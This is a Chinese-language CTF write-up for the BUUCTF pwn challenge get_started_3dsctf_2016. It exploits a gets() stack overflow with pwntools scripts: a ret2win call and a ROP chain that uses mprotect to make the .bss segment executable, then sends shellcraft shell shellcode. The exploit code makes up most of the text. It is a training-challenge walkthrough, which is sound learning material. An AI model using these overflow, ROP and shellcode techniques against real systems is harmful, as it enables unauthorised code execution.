先checksec一下
32位程序,没开PIE,再观察一下主函数
gets
函数有可能是栈溢出,再观察一下后门函数
方法一:
考虑栈溢出后直接跳转到if判断后面的语句,进而跳过if条件判断
from pwn import *
#p = process('/home/miyu/Desktop/PWN/111/get_started_3dsctf_2016')
# context.log_level = 'debug'
# #gdb.attach(p)
p = remote("node4.buuoj.cn",25895)
offset = 0x38+8
addr = 0x080489B8
payload = b'a'*offset
p.sendline(payload)
p.interactive()
但是这样并不能打通,原因是,打远程时,如果程序异常退出,是不会给你回显flag的,所以我们必须指明一个返回地址,可以这样构造:a*offset+后门函数+返回地址+函数参数
返回地址利用c语言自带的exit的地址
exp:
from pwn import *
#p = process('/home/miyu/Desktop/PWN/111/get_started_3dsctf_2016')
# context.log_level = 'debug'
# #gdb.attach(p)
p = remote("node4.buuoj.cn",26281)
addr=0x080489A0
offset = 56
payload = b'A'*offset+p32(addr)+p32(0x0804E6A0)+p32(0x308CD64F)+p32(0x195719D1)
p.sendline(payload)
print(p.recv())
p.interactive()
有个很玄学的东西,我的offset写成16进制就打不通,换成十进制就打通了
方法二:
利用mprotect更改bss段权限
mprotect函数是这样定义的:
int mprotect(const void *start, size_t len, int prot);
- start是需要进行操作的地址
- len是从地址往后多长的长度
- prot是要对这段赋予的权限
prot=0x7是可读可写可执行
start起始地址也有要求,要求是4k的整数倍,后三位要为000
CTRL+S查看程序的段表
因此start = 0x080EB000
我们需要设置mprotect的三个参数,需要三个寄存器,用ROPgadget查一下
from pwn import *
# p = process('/home/miyu/Desktop/PWN/111/get_started_3dsctf_2016')
# context.log_level = 'debug'
# #gdb.attach(p)
p = remote("node4.buuoj.cn", 26281)
mprotect = 0x0806EC80
mem_addr = 0x080EB000
len = 0x100
ret = 0x0809e4c5
read_addr = 0x0806E140
offset = 56
payload = b'A' * offset + p32(mprotect) # 溢出跳转到mprotect
payload += p32(ret) # 寄存器
payload += p32(mem_addr) # 第一个参数start
payload += p32(0x1000) # 第二个参数len
payload += p32(0x7) # 第三个参数prot
payload += p32(read_addr) # 调用read
payload += p32(ret) # 寄存器
payload += p32(0) # fd
payload += p32(mem_addr) # 需要读的地址
payload += p32(len) # 读的长度
payload += p32(mem_addr) # 返回到更改完rwx的bss段
p.sendline(payload)
shellcode = asm(shellcraft.sh(), arch='i386', os='linux')
p.sendline(shellcode) # 对bss段执行shellcode
p.interactive()
成功拿到flag
标签:addr,get,started,mprotect,地址,offset,p32,2016,payload From: https://www.cnblogs.com/Smera1d0/p/17860476.html